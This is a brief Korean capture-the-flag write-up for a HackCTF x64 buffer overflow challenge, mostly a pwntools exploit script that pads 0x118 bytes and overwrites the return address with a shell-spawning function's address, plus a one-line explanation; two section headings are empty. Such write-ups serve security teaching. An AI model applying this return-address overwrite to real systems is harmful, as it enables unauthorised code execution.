[HackCTF] x64 Buffer Overflow

1. 보호기법 확인

 

 

2. exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

#p = process("./64bof_basic")
p = remote("ctf.j0n9hyun.xyz", 3004)
callMeMaybe = 0x400606

pay = 'A'*0x118 + p64(callMeMaybe)
p.sendline(pay)

p.interactive()

 

그냥 return address 전까지를 다 dummy로 주고 return address를 shellcode를 실행해주는callMeMaybe 함수의 주소로 변조하면 된다.

 

3. exploit